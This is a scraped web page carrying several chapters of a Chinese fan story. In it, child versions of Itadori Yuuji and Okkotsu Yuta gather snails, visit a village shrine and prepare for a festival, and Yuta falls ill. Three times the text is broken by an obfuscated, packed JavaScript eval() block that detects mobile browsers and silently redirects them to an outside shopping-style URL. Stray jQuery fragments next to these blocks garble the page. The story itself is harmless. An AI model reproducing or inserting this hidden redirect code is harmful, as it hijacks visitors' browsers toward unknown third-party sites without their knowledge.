;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17378150|200134||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
午饭时间。
即便穿着短裤,但长时间待在水边还是不可避免地打湿了裤脚,皮肤因为泡在水里而变得皱皱巴巴,像是被洗缩水了的毛衣。
“手脚都变得像老爷爷一样了啊,”虎杖悠仁抱着罐子里的田螺检查今天的战利品,他已经很久没有这样放肆地玩过了,“我们可以烤田螺吃吗!忧太,我们来烤田螺吧!”
“好啊!直接放到火上吗?家里倒是有火柴......?”
“当然不行了!”虎杖悠仁将瓶子护在怀里,一脸严肃地说道:“得让它们把肚子里的脏东西吐出来才行,还要加盐,这样就变得干净了。”
这是爷爷教给他的技巧,虎杖悠仁还记得很清楚。
因为不想把鞋子弄湿,所以他们又在这片秘密基地待了很久,直到脚上的水分干得差不多了才穿上鞋袜往回走。
“悠仁懂得真多啊,”乙骨忧太蹭了蹭鼻尖,不知道自己究竟在用什么样的语气说着话,“总感觉,哪怕是一个人,悠仁也可以过得很好。”
“......”虎杖悠仁低着头,一只手握着一个瓶子,在摇晃的时候还能听到满瓶的螺壳相撞发出的喀拉声。
“才不是这样啊,忧太是大笨蛋吗?”
粉发的孩子大声反驳着,乙骨忧太大受打击:“诶?!”
“一个人的话,”虎杖悠仁依旧垂着头,将手里的瓶子甩来甩去,“没有洗衣机的话就很难洗衣服,吃不上饭的话就会饿死,也许睡觉的时候还会害怕。”
“如果生病了很难受的话,一个人会很想哭。”他的确从小到大都很健康,不过在成长的过程中仍旧有一两次很严重地病倒了。因为爷爷需要早早出门工作,等虎杖悠仁扯着沉重的身体从床上爬起来的时候,发现早就过了他应该起床的时间。他也完全不记得爷爷早上出门前叫他起床的时候自己究竟应声了没有。
那次他感觉自己的身体就像是泡满了水的海绵,沉甸甸的,还往外冒着水。大概是幼稚园的老师发现他没有去上学,接到通知的爷爷匆匆赶回来,虎杖悠仁迷迷糊糊地听到爷爷哄他“不要哭”。
虎杖悠仁抬起头,看着乙骨忧太,缓缓地露出一个有些不好意思的笑容:“嗯......一个人当然应该也能活下去的吧?但是,我总感觉——”
“——那样会很寂寞的。”
夏天的风总是燥热的。
不然乙骨忧太为什么会觉得脸上烧得热乎乎的呢?
“如果、可以的话,”粉发的孩子鼓起脸颊,他总是在很难为情的时候转开眼神,但能感觉到余光一直留意着他在乎的东西,“一直......和你们......”
成为家人。
乙骨忧太接过虎杖悠仁手中的瓶子,拉住他的手。
他们的影子亲密地贴靠在一起,第三位家人正通过这黑暗的联系与他们牢牢绑在了一起。
虎杖悠仁用上了一些力气,回握了过去。乙骨忧太是个开朗、温柔的人,但是因为太过温柔所以总爱迁就别人。受了欺负不知道还手,明明自己并不喜欢接近村子里其他的孩子,却因为虎杖悠仁的缘故而接受了。
他觉得虎杖悠仁需要朋友,所以他试着去做自己并不喜欢的事。
虎杖悠仁手上更加用力,似乎想用这样的力量来让身边的人明白自己的心意。对他来说,当然是乙骨忧太更重要。朋友......和爷爷搬来仙台前,他也在幼稚园和家附近有几个玩得很好很好的朋友,因为搬家而不得不分别的时候,他哭得很惨。
但是,他从没有想过主动回到乡下去找他们玩。爷爷比他在那里住得更久,甚至他还没出生的时候老人就已经定居在那里,和认识的人、玩得好的朋友分别对爷爷来说应该是更难过的事,但虎杖悠仁从没见过老人因此而哭泣,或者露出想要回去的念头。
“人和人的缘分就是这样,悠仁,”当他问起那个问题时虎杖倭助只是叼着烟斗,眼神中多了一丝怀念与释然,“突然地开始,突然地结束。我们只是同行于同一片海面上的船只,只有相交、靠拢、分开的可能,没有任何一艘船能够像海鸟一样在另一艘船上停留。”
虎杖悠仁执着地问着为什么,直到虎杖倭助再也没有耐心,直接用烟斗敲了敲他的脑袋。
这也就成了虎杖悠仁一直埋藏在心底的疑问。
他转过头,轻轻地、小心翼翼地看了一眼身旁的人。
有一天,他和乙骨忧太之间也会像那些船一样,突然地相互分别吗?
不知为何,只要一想到这样的可能性,他就会觉得胸口很难受。能够听到心跳的地方变得闷闷的,宛如知道再也不能见到爷爷和祈本里香的那天一样,这会让他觉得......很痛。
这和离开妈妈时的感觉不一样。虎杖悠仁无法形容,只是本能地不想让他和乙骨忧太之间像是和老家的朋友们之间那样,渐渐变得连名字都变得陌生,回想过去的记忆时发现已经不太记得他们的脸。
想要维系这段联系的冲动与生存同等,都是刻入了本能之物。
12. 第 12 章
虎杖悠仁握住乙骨忧太手掌的力道捏得他有些疼,不过他并没有声张,而是一直任由虎杖悠仁这样用力地攥住他。
直到回家,虎杖悠仁松开手时看见了留在乙骨忧太皮肤上的红色印记,这才自觉自己的力量对乙骨忧太来说有些难以接受。
“抱歉,忧太。”粉发孩子乖乖低头道歉,家里没有医疗用品,他从自己的小书包里翻找出了几张创可贴想要给乙骨忧太贴上,但被他连连摆手拒绝。
“没关系啦,悠仁。并没有很疼,不需要贴这些,不要太在意。”
虎杖悠仁抿着嘴巴,突然发难:“都是因为忧太!”
“诶?!对、对不起?!”
他抱着两个瓶子去院子后的杂物堆翻找有没有能用的塑料盆,用回家路上买的剪刀小心翼翼地准备处理田螺的壳。
不知道为何被责怪了的乙骨忧太像只想要道歉但不知道自己哪里做错了的小狗狗一样,跟在跑来跑去的虎杖悠仁身后转圈。
虎杖悠仁将一个小刷子交到他的手上,在处理壳之前,他们必须一起将这些东西仔细地刷洗干净。
吃了面包填饱肚子,他们搬着水盆走到院子里的阴凉处,花了一个下午的时间慢慢处理完了所有的田螺。
“就这样把它们放在这里两天左右就差不多了,”虎杖悠仁蹲在塑料盆旁边,“它们会吐出很多沙子。”
“然后呢?我们直接把它们放到火上吗?还需要买调味料吗?”乙骨忧太学着他的样子也蹲了下来,那些田螺还在挣扎着往外爬,他们找了一大块铁丝网盖在了盆上,多余的四角和铁丝网的正中都用砖块压住了。
院子后的杂物堆里还有不少能够利用的东西,这个铁丝网的网孔大小应该不至于会让它们跑出来。
因为中午没有睡午觉,下午四点多的时候虎杖悠仁已经开始有点犯困了。
可是他们不能再错过晚饭,因此乙骨忧太一直想方设法让昏昏欲睡的粉发孩子不要彻底睡过去不省人事。
虎杖悠仁打了个大大的哈欠:“总觉得来了这边之后时间过得好慢。”
以前爷爷不在家的时候他还会偷偷看电视,电视机仿佛会吃掉他的时间一样,一晃神一个下午就过去了。
“我悄悄和你说,拿湿毛巾盖在电视机上面就能让它很快凉下来,这样爷爷回来的时候就不会发现我偷偷看电视了。”
说起以前干过的“坏事”,虎杖悠仁稍微精神了一些。
他的确是个很懂事的孩子,但却没有“那么”听话。他不是一个循规蹈矩的小古板,相反,他在取悦自己的方面游刃有余。或许是在爷爷没回家的时候偷看一天电视,又或者在幼稚园放学后从便利店里买下过量的糖果藏在书包里,第二天带到学校和朋友们分享,虎杖悠仁总能想出一些办法让自己在这个满是“怪物”的世界里过得快乐一点。
“悠仁会觉得无聊吗?”乙骨忧太问。
“这倒是没有啦,”虎杖悠仁去洗了脸让自己彻底清醒,规规矩矩地将毛巾挂回原来的位置,“时间变长的话能做的事情不就更多了吗?”
“这样......”
乙骨忧太总觉得很不安。明明这里没有城市里随处可见的咒灵,虽然还没能彻底融入,但情况并没有以前那样糟糕。即便如此,他也在恐惧着失去什么。
他总是一遍遍地想要从虎杖悠仁口中得到肯定的答复,即便他明白就算得到了答案也于事无补......只要恐惧失去的缺口仍旧存在,空出的地方就永远不会被填满。
这让他觉得自己就像抓不住土地的草籽,还没来得及生根发芽就会被另一阵风吹走。
“什么都不做才会无聊,我们可以做很多事情啊!果然我还是想去树林里冒险,我们明天去森林里玩吧!”
虎杖悠仁企图让乙骨忧太同意和他一起去山上玩,并且保证他们只待在森林的边缘,如果看到野猪之类的动物就立刻离开。
乙骨忧太被他纠缠得有些难以招架,虎杖悠仁又拉来了里香和自己站在同一战线,偏偏白色的咒灵哪怕根本听不懂他们究竟在说什么,可是听到虎杖悠仁问“里香会一直保护我们的,对吧?”,它几乎是下意识地将两个孩子抱入怀中,口中嘟囔着他们的名字。
“里香的话说得比以前更好了诶!”虎杖悠仁将整个人挂在了里香的手臂上,乐得咯咯笑。
乙骨忧太甩掉了那些潮湿的想法,同样露出了笑颜。里香的声音虽然也尖尖细细的,听起来像是小女孩的声线,但是因为本身极不稳定,和祈本里香本来说话的语气并不是特别相似,要更加尖厉、活泼,像是个真正正在牙牙学语的小孩子。
里香正变得越来越像祈本里香吗?
虎杖悠仁和乙骨忧太更愿意认为她生病了,不得不花上一段时间才能恢复原来的样子。
快到神社准备晚饭的时间,他们找到了正在清扫参道的宫司。
其实神社里还有很多其他的神职人员,但通常很少见到他们,偶尔遇见也只是匆匆擦肩而过,如此几次之后,连虎杖悠仁也渐渐不再试图与他们搭话。
“祭典的准备还没开始吗?会有什么好玩的活动吗?会有捞金鱼吗?”虎杖悠仁跟在男人的身后,一股脑地问着自己想要知道的事情。
“悠仁很期待祭典?”宫司没有回答他的问题,只是摸着他的脑袋反问道。
虎杖悠仁狠狠点头,眼睛里亮晶晶的写满了期待。
乙骨忧太看见男人移开了眼睛,神色如常地说:“都会有的,不过悠仁想不想来试试做一些神职工作?”
“工作?”
“是啊,”男人向乙骨忧太招了招手,“忧太也一起。不是什么很复杂的工作,但是也需要学习一些礼仪才行。以后继承神社的话,这些工作都要由你们来负责,现在先跟着我慢慢熟悉流程吧。”
“但是我们明年春天就走了呀?”虎杖悠仁提醒他。
然而宫司只是笑着,不再继续这个话题,这让粉发孩子有些摸不着头脑,只得求助地看向乙骨忧太。
男人带着他们穿过了拜殿,穿过参拜者不被允许进入的石室,接近了供奉着神明御体的本殿。
“......进入之后,切记不可直视、不可折返,在行礼区跟我一起做神前礼拜......”宫司走在前面,带着他们进入了整座神社最后方,也是最重要的一处。
虎杖悠仁好奇地问:“这里供奉的是?”
“是住在附近的山上的神明,所以祭典也叫山王祭。”
没有名字的神明大人?山上的话,不是住得和他们很近吗?!
这座宫殿由三个区域组成,看起来他们进入的方向是侧对着正面。宫司说这是为了避免正对神明而特意设计的。
最外围摆放着很多祭祀需要用到的道具,虎杖悠仁只认得巫女们跳神乐舞时会用到的神乐铃,还有一些其他他不认识的、像是树枝一样的东西,但在如此接近神明的地方,他下意识地将问题压在了心底。
他转头拉住了乙骨忧太,用口型问他里香还好吗?乙骨忧太点了点头,表示里香并没有躁动的感觉。
虎杖悠仁放下心来。里香又不是真正的污秽之物,不过他还是在心中默默感谢住在这里的这位温柔的神明大人允许他们带着里香进来。
他们经过外围,来到了中间的过渡区域。在这里,宫司虔诚地做着神前礼拜,虎杖悠仁他们学着男人的模样鞠躬拍手。虽然并非真正的祭祀,但宫司还是向神说明了他们的来意。
最内侧的位置就是供奉神明本体的神龛,因为不可直视神体的规则存在,所以神龛外被设下了层层御幡遮挡视线。虎杖悠仁必须高高扬起头才能勉强看到那个朦胧的神龛影子,其本身所处的位置就要远高于他们。
周围摆放了米、酒、鱼、盐等盛放在漆器中的供品,还有插在陶器中的杨桐树枝。神龛的正上方是稻草编织而成的巨大注连绳,以示此处为分割神明所在之地与凡俗之地的结界。
桧木制成的柱子支撑着这座神殿,乙骨忧太能够闻到从木头中散发出来的芳香。
“神明大人就住在这个小房子里吗?”
真正来到神明的面前,虎杖悠仁反而变得大胆了起来。寂静的神殿内,除了油灯燃烧发出的微弱响声,孩童清脆纯真的话语填满了这片安静肃穆的空间。
“不是哦,”宫司没有斥责他的不敬,反而耐心地解答了起来,“祂住在山里,这个御厨子里的东西只是神明凭依之物。”
虎杖悠仁遥遥望着看不真切的——御厨子。
透过层层神幡,他只能看到那东西翘起的四角,像极了他们通常所说的神龛,想必应该是类似的东西,或许只是同样的东西换了个称呼?
虎杖悠仁似懂非懂,宫司转而开始讲述他们需要在祭典上做的事。
在乡下的时候,虎杖悠仁有小伙伴曾被选中去抬过儿童们抬的神舆,尽管只是在附近的街道里巡游,但那也是一件会令很多孩子羡慕的荣幸的事。而且他的力气很大,抬神舆这样的事肯定没问题的。
但是宫司却说这里的祭典并没有专给小孩子们制作的神舆,虎杖悠仁和乙骨忧太要做的是见习神官,也就是跟在他的身边辅助完成净化仪式。为此他们需要好好学习一下神社仪轨和相应的礼节。
“而且,忧太还有一个非常重要的工作。”男人将话题转移到了乙骨忧太的身上,黑发的孩子微微瞪大眼睛,似乎不敢相信会被人这样郑重地托付。
乙骨忧太需要在过几天举行的选拔活动中从来参加的众多孩子们里选出一位,这个孩子将会承担神子的身份,在巡游仪式中走在队伍的最前端。
宫司说这是个十分荣幸又神圣的角色,他们也只会在进行大祭的时候才会挑选出一个。
“但是,我要怎样......?”
这样神圣的事情为什么会被托付给自己?他又该如何选择?一定有什么标准来帮助他进行抉择......
“不要有压力,忧太,”男人似乎并不觉得将这样一件极为重要的事交给一个孩子有什么不妥,“听从你的内心就好。”
就是因为心里想不明白,才会觉得这件事不太靠谱......乙骨忧太有些退缩,他总是没办法做到随心所欲,毕竟他自己都不知道自己究竟是怎么想的。
虎杖悠仁倒是对乙骨忧太被如此信任着而感到开心。他觉得乙骨忧太需要变得大胆一些,他总是对自己不够自信,明明他是那么好的人!
他们从本殿中出来,回到拜殿的时候,正巧碰见有村民过来参拜。虎杖悠仁认出这是那天送给他果子的老奶奶,她现在正佝偻着后背,像宫司一样虔诚地祈祷着。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17378151|200134||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
虎杖悠仁问道:“他们都在祈求什么呢?是想要在死后让灵魂成佛吗?”
宫司愣了一下,随即哼笑着答道:“这么说倒也没错......虽说这里是神社,但并没有那么严格的区分。人死后的灵魂究竟是经过净化迈入轮回,与八百万神明融为一体,还是脱离轮回得到涅槃,前往极乐......不过都是人在生前对死后事的美好期许,如果这样想能让他们在活着的时候变得幸福一些,究竟是轮回还是成佛又有什么区别呢?”
虎杖悠仁低下头思考了一会儿。宫司说的话有些复杂,但虎杖悠仁意外地听明白了。
“但是,”粉发孩子说道,“灵魂无法成佛,不是一种惩罚吗?会有既无法成佛,也无法轮回的灵魂,他们会很痛苦的。”
“所以要来向神明祈求恩典,山王祭正是将我们的愿望传达给神明的祭典啊。有了神明的护佑,我们可以在之后的时间里远离灾疫疾病,得到自己想要的东西。”
如果我也去祈求神明大人的垂怜,祂会让里香的灵魂成佛吗?虎杖悠仁想道。
“......大家都相信着神明会帮助他们过上好日子,这样就足够了。”
宫司说的话听起来像是一场美梦。
连乙骨忧太都有些不由自主地对所谓的神明产生了些许的向往。他和虎杖悠仁所思所想几乎完全一致——想让祈本里香的灵魂成佛,为此他们愿意付出所有的努力。
回家的路上,虎杖悠仁看起来还没能完全从在神社的所见所闻中脱离出来。
“忧太!忧太!!宫司说神明大人就住在山上,那岂不是就在咱们家后面的森林里?我们居然住在离祂这么近的地方!”
“这么一想还是蛮有压力的......‘举头三尺有神明’如果变成了现实,总感觉会变得让人有点害怕。”
“啊!对哦!”乙骨忧太的话让虎杖悠仁突然有些泄气,倒不是对神明大人有什么不满,他只是总会将祂和爷爷联想到一起,因为他们在虎杖悠仁的心中都是一样的严厉、公正不阿。
爷爷总是在教导他应该去做一个怎样的人,应该去做什么样的事。
“那......悠仁的爷爷说你要做什么样的人、什么样的事呢?”乙骨忧太问道。
他们从神社离开时天已经黑了。这座村子似乎遵从着太阳升起和降落的规律来决定是否外出,只要太阳落山之后,就很难再在街道上看见行走的村民了。如果偶然碰到了一两个人,也都神色匆匆,恨不得直接跑回家的模样。
虎杖悠仁的耳边已经响起了爷爷的叮嘱。老人说了太多次,这些话已经牢牢地刻在了虎杖悠仁的心里,仿佛一辈子都不会忘记。
“要做一个善良的人,要尽自己所能去帮助别人,要去做自己觉得正确的事。”
善良、正直、乐于助人。
听起来,这些都只是一个最普通的人所具备的品格。虎杖倭助没有要求虎杖悠仁去做什么了不起的、伟大的事,他希望这孩子能够普通地活下去,哪怕如此庸碌一生,也算是来之不易的幸福了。
“哈哈。”乙骨忧太弯着眼睛笑了起来。
“忧太?!”虎杖悠仁噘着嘴有些不满地哼气。
乙骨忧太摆手摇头,连声解释:“我没有别的意思啦,只是觉得......嗯,悠仁已经是这样的人了呀!而且,听起来很幸福。”
“幸福?”虎杖悠仁挠着头发,不解地歪头:“我倒是觉得这有点太普通啦。”
乙骨忧太不说话了,只是看着他笑。
虎杖悠仁的声音拔高了一些,一股脑地将不满洒到了乙骨忧太身上:“忧太太狡猾了!为什么总爱说一些我听不懂的话啊!”
乙骨忧太张开怀抱接住了像一头小野猪一样埋头冲过来撞上他肚子的孩子,依旧没有打算解释的意思。
他好像有一天突然就想通了,活得简单而普通才是最难做到的事。如果可以,乙骨忧太其实很想回到看不见咒灵、从没经历过被排挤、没有恐惧到难以入睡的过去。虽然无法和祈本里香、虎杖悠仁建立起连结会稍微有些寂寞和不舍,但他还是会不由自主地去想如果他们未曾走到今天这一步......里香和悠仁会比现在更加幸福吗?
“啪。”
脸颊上传来了火辣辣的痛感,虎杖悠仁温度偏高的掌心打在了乙骨忧太的双脸上,将脸颊肉向内挤在了一起。琥珀色眼睛上方的眉毛微微皱起,乙骨忧太几乎觉得自己要被完全吸进去了:“太明显了......忧太你又在想什么奇怪的事。”
“想要成为一个伟大的人是个听起来很蠢的话吗?爷爷说的我都有努力去做,”虎杖悠仁小声补充了一句,“虽然偶尔也会做些不该做的事啦......”
“但是,我的力气很大!以后大概也会长得很高,”这孩子的头发又像一团粉色的棉花一样膨了起来,“我能做到很多事!”
乙骨忧太被他推得连连后退,就快要失去平衡的时候,背后贴上了不知道什么时候出现的里香。
虎杖悠仁沉浸在自己说的话之中:“但是呐,忧太......究竟什么才是正确的事呢?”
怀里的身体不再乱动,乙骨忧太看见虎杖悠仁越过他,望向了里香。
“......”
这种事,他也不明白啊。
13. 第 13 章
噩梦来得很突然。
没有惊声尖叫,也没有惊慌地抽动,乙骨忧太就像是每天早上醒来时那样睁开了眼睛,然后感觉冷汗从下巴缓缓地流向后颈,带起一阵凉意。
他已经记不太清梦中闪过的那些画面,可由这场梦带来的恐惧却没有随着记忆逐渐淡去,反而伴随着身侧虎杖悠仁的呼吸声隐秘地滋长着,直到蔓延至整个后脊。
乙骨忧太缩在墙角,屈膝抱紧双腿,将头埋进了胳膊里。
恐惧和黑暗唤起了他藏在内心深处的、不愿主动回想的记忆。
祈本里香在他眼前被车撞倒,那时的红色、气味、落在脸上的热量......他突然捂住嘴巴,跌跌撞撞地从床上冲向了浴室。
他极力想要抑制住呕吐的声音,可他实在太难受了,喉咙不受控制地发出难听的杂音,有很长的一段时间他觉得自己什么都听不到,也什么都看不到,在这样的刺激下,眼泪也自然而然地堆积在了酸涩的眼眶里。
他不想这样的。
等他从泛着白光的视野中回过神来,摸索着拧开水龙头,这才发现外屋的灯不知何时已经被人打开,穿着印有小老虎图案睡衣的虎杖悠仁睁着困倦的眼睛站在浴室门口,担忧地望着他。
乙骨忧太下意识地想要哄他去睡觉,让他当作什么都没发生,但他发现自己的嗓子里火辣辣的,想要说话却发不出声音。
水流哗啦啦地冲走了水池里的秽物,乙骨忧太就保持着伸出一只手捧水的姿态僵在了原地,任由冰凉的水逐渐冻结他的手掌。
“悠仁——”
他几乎是用尽了所有的力气从嘴里挤出了这个名字,而名字的主人没有让他多等一秒。温热的身体贴了上来,用小小的、不够强大的怀抱努力将他抱紧。
乙骨忧太带着虎杖悠仁跪倒在地板上,他将头埋入对方的颈肩,从虎杖悠仁的体内汲取热量。
“——我好害怕。”
颤抖的声音差一点就要被流淌的水带走,但虎杖悠仁很擅长捞到那些跑得极快的小鱼和小虾,这一次也理所当然地捉到了乙骨忧太的话。
粉发的孩子学着祈本里香和妈妈的样子搂着乙骨忧太的后颈,用轻柔的力道捋过他的头发:“那,明天我们去找宫司先生,借用一下他的电话吧。”
乙骨忧太没有说话,也没有松手。虎杖悠仁维持着缓和的节奏,一下、一下安抚着有些情绪失控的乙骨忧太:“忧太可以给妈妈打电话,听到妈妈的声音就不会觉得害怕了。”
他感受到对方的头发蹭到了他的脸,很快随着摇头的动作,乱飞的黑发扫得他脸上痒痒的。
他又等了好一会儿,才听到乙骨忧太声音哑哑地说:“......再说点什么吧,悠仁。求你了。”
“可以哦,但是浴室的地板好冷啊,我屁股都坐凉了,”虎杖悠仁一个用力就撑着两个人站了起来,他的确力气大得惊人,“我们回屋里去吧!”
他盯着看起来精疲力尽的乙骨忧太漱口,又仔细地洗了脸,然后主动牵着黑发的孩子回到了床上。他没有关灯,乙骨忧太也没有提出异议。
有光的环境对现在的他来说更放松一些。
眼睛周围涨涨的,浑身上下也酸疼到没有力气。乙骨忧太躺下后,虎杖悠仁趴在了他身侧,如他所愿讲起了以前总听爷爷讲的故事。有农场里的故事,也有仙台的鬼舞者,一个个不知是凭空编纂还是根据事实捏造出来的故事变成了金色的丝线,让疲惫不堪的乙骨忧太逐渐合上了双眼。
虎杖悠仁讲得口干舌燥,他小声叫了两次乙骨忧太的名字,黑发的孩子没有理他,这才确认对方真的重新睡着了。
他翻了个身,仰面躺倒。
“爷爷......”
无人听到的呢喃被吞了回去,虎杖悠仁闭上了眼睛。
可能是凌晨被闹醒的缘故,第二次入睡,两个人睡得都不算安稳,最糟糕的是乙骨忧太醒来就发现身体出现了问题。
“额头好烫!”虎杖悠仁伸出手掀开乙骨忧太额头前的碎发,只贴上去两秒就感受到了远超他自己体温的高热。
乙骨忧太想要强撑着起身,但又被虎杖悠仁摁了回去。鼻子也像被灌进了水泥一样堵得严严实实,脑子乱成一团浆糊,乙骨忧太难受地张着嘴巴呼吸。
“......你去哪?”他侧过头,勉强看清了虎杖悠仁的身影。
然而着急出门的虎杖悠仁没有听到乙骨忧太的呼唤,他莽撞地冲了出去,只留下关门的声音和满屋空寂。
这样的安静让乙骨忧太有些耳鸣。
他蓦地想到了虎杖悠仁说过的:一个人的话,生病难受的时候真的会很想哭。
乙骨忧太根本不记得究竟过了多久,也不记得他是否在独自一人的时候流泪哭泣,等他再次睁眼,听到了虎杖悠仁和一个陌生人的声音。
“......谢......哥,中美......但是......什么?”
他时而清醒时而昏沉,只勉强搜罗到了他们之间对话泄露出来的只言片语,而他的大脑根本不支持他去理解这些字句之间的关联。
似乎做了一个很长很长的梦,乙骨忧太的意识终于完全回归。他轻轻动了动手臂,感觉到了一阵绵密的、针扎似的麻。像是有人枕着他的胳膊睡着了,麻木的肢体末端传来了沉甸甸的压迫感。
他低头,看到了有些蔫头耷脑的粉色蒲公英。
虎杖悠仁不知道用了一个什么样的姿势躺在他身边,脑袋压着他的胳膊,是阻碍血液循环的罪魁祸首。
乙骨忧太觉得自己已经好多了,于是试图将手抽出来,慢慢坐起身。就在他准备在不惊动虎杖悠仁的情况下移开手臂的时候,粉发孩子已经一个激灵先他一步坐了起来,看这孩子的眼睛就知道他还没有完全清醒,完全一副好似在梦游的模样。
“忧太?”虎杖悠仁揉着眼睛,直到乙骨忧太习以为常地教训他不要用手揉眼睛时才雀跃地在床上蹦了一下:“忧太!!你已经没事了吗?!”
乙骨忧太无奈地笑着说:“说完全没事还是有点太勉强了,不过我感觉好多了哦。多亏了悠仁,不然我觉得自己真的会死掉。”
他的声音还带着明显的沙哑和浓重的鼻音,但比起最开始那被压在床上怎么都动弹不得的情况要好得多。
“太好啦!!”虎杖悠仁直接扑了过来。
“呜哇?!不要靠我太近了,说不定也会传染给你,”乙骨忧太推开他,这副模样简直就像一只热情过了头的小狗狗,“对了,来家里的那个人......”
“我可壮实了,”虎杖悠仁小声反驳,“那个人是个医生,他说他还在上......‘大学’?总之不是医院里的那种医生,但他说他可以来帮忙,而且啊!他是中美的哥哥哦!”
是那个女孩子的......?
虎杖悠仁翻身下地,很快将一份药剂冲泡好,送到了乙骨忧太的旁边。杯子里的棕色液体散发着苦涩的味道,和乙骨忧太记忆里治疗感冒的药很像。
味道也是一样的一言难尽。
“他没有收钱,是个好人!”虎杖悠仁是在跑去诊所的路上遇到这个青年的,因为跑得太快而不小心撞倒了对方,平白无故挨了一记头槌的青年看出了他脸上的焦急,揉着腰询问起原因来。
乙骨忧太捏着鼻子灌下了苦掉舌头的药,杯子移开的瞬间,嘴巴里迅速被塞入了几颗糖果:“其实还可以吃一些冰淇淋,但是我怕买回来忧太还没醒。你现在要吃吗?”
乙骨忧太看了眼窗外,橙红色的阳光洒到了地板上。
居然已经是傍晚了。
乙骨忧太没什么胃口,他问道:“悠仁一直在照顾我吗?”
他看到床边的柜子上有接满水的塑料盆和搭在盆边上的毛巾,便猜到自己睡过去的这段时间里虎杖悠仁肯定寸步不离地守在床边,一遍又一遍地更换着放在他额头上降温的毛巾。
“当然了!怎么可能让忧太一个人待着呀?”
因为知道生病的时候一个人待着会觉得害怕和无助,所以虎杖悠仁绝不会让乙骨忧太也有这样的感受。
黑发孩子的精神好了一些,饥饿感也随之逐渐变得不可忽视了起来。
不知道是谁的肚子先叫了起来,虎杖悠仁红着脸决定出去买晚饭。村子里没有寿司店或拉面店之类地方,虎杖悠仁只能试试能不能在便利店关门前买到便当之类的。
临走前,虎杖悠仁特意叫出了里香。
“其实忧太病倒的时候,里香一直都在呐。”
而且,他看到了不同寻常的东西。里香没有眼睛,但脸上的缝隙之间却流出了眼泪一样的液体。它哭着将自己罩在乙骨忧太身旁,连虎杖悠仁都被拒绝靠近。就是在那时,他看见里香的手中冒出了奇特的光。
虎杖悠仁不知道那是什么,但乙骨忧太显然好受了不少,原本沉重又痛苦的呼吸声渐渐变得和缓,因为高烧而泛红的脸颊不再显得病态。
虽然不太明白,但虎杖悠仁觉得那就是里香“魔法”,能够减轻病人痛苦的神奇魔法。
“里香......”乙骨忧太看着几乎要填满整个房间的白色咒灵,口中喃喃自语道:“谢谢你。”
虎杖悠仁离开了太久。
他临走时洒满屋子的橙红夕阳已经彻底落入山涧,白炽灯的光让里香庞大的身躯投下浓厚的阴影,直到现在虎杖悠仁仍没有回来。
这不应该。乙骨忧太知道他一定会跑着来节省时间,一来一回根本不可能用上这么久。
乙骨忧太不停地看着墙上的时钟,看着指针滴滴答答地转了个圈。他再也没办法安心等下去了,一些不好的念头开始盘旋在他的脑海里,恐慌又重新滋生出来。
“里香。”乙骨忧太扶着里香的手从床上下到地面,双腿还有些发软,但白色咒灵的手臂有力地揽住了他,支撑着他走到了大门边。
他推开了门,独自走向院外。里香回到了影子里,乙骨忧太能够感觉到它的存在。
俯瞰着下山的小路,同夜幕一样深沉的黑色眼眸一眼看见了那个令他担忧万分的存在。
虎杖悠仁站在村口上山的小路上,背对着乙骨忧太,只能看见他圆圆的后脑勺。他的周围还站着一些孩子,乙骨忧太认出那是松下和中美他们。
因为他们离得太远,乙骨忧太听不见他们在谈论什么,但松下他们的表情并不轻松。
乙骨忧太的脚步还没往出迈,虎杖悠仁居然敏锐地察觉到了他的视线,回过头来和他对上了眼神。看到还在生病的乙骨忧太居然跑了出来,他立刻转身往回走,丢下松下和中美等人在身后。
那些孩子并没有跟上来。
“抱歉忧太,”虎杖悠仁推着乙骨忧太回了屋,“我没想到会遇到他们,你等着急了吗?”
他向乙骨忧太展示手中从便利店里买来的饭团和便当。店里昨天刚刚补上货,因此这些东西都还算很新鲜,虎杖悠仁拜托店主帮他们将食物热好,可惜因为被松下他们拦住,热量已经散去得差不多了。
乙骨忧太接过来的时候仍能感觉到一些余温。他挑了一个不大不小的肉松海苔饭团,拆开包装,盯着虎杖悠仁打开一盒牛肉便当:“
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17378152|200134||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
他们找你干什么?”
“嗯,”虎杖悠仁塞了一口饭,嘴巴里鼓鼓囊囊地说,“他们想让你选中美。忧太来负责选人的事情好像大家都知道了诶,明明才过去一个晚上而已。”
虎杖悠仁还在感叹为什么消息传得这么快,乙骨忧太用他还没有完全退烧的大脑觉得隐约有点不对劲,但显然他没有精力细想。
“为什么呢?”
听宫司的意思,选出来的孩子会穿上华丽的服饰引领着巡游队伍,对于孩子们来说的确是个非常值得向往的事。
乙骨忧太想知道松下他们找上虎杖悠仁的理由。
